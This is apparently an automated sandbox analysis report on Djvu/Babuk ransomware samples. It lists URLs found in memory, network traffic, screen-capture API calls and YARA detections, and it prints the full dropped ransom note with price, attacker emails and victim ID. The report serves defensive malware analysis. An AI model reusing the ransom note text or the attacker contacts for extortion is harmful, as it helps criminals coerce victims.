Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: build2.exe, 00000009.00000002.2285261138.0000000000778000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/badges
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/inventory/
Source: build2.exe, 00000008.00000002.2113477496.0000000003680000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888ve74rMozilla/5.0
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: build2.exe, 00000008.00000002.2113477496.0000000003680000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfail
Source: build2.exe, 00000008.00000002.2113477496.0000000003680000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfailAt
Source: Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000894000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000894000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.85.65.125:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49729 version: TLS 1.2

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 1_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

1_2_004822E0

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_README.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.Do not ask assistants from youtube and recovery data sites for help in recovering your data.They can use your free decryption quota and scam you.Our contact is emails in this text document only.You can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27Price of private key and decrypt software is $999.Discount 50% available if you contact us first 72 hours, that's price for you is $499.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshingmail.topReserve e-mail address to contact us:datarestorehelpyou@airmail.ccYour personal ID:0863PsawqS8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 4408, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 22.2.Z4CYGTBlj7.exe.5ea15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.Z4CYGTBlj7.exe.5df15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.Z4CYGTBlj7.exe.5df15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.Z4CYGTBlj7.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Z4CYGTBlj7.exe.5c915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Z4CYGTBlj7.exe.5c915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
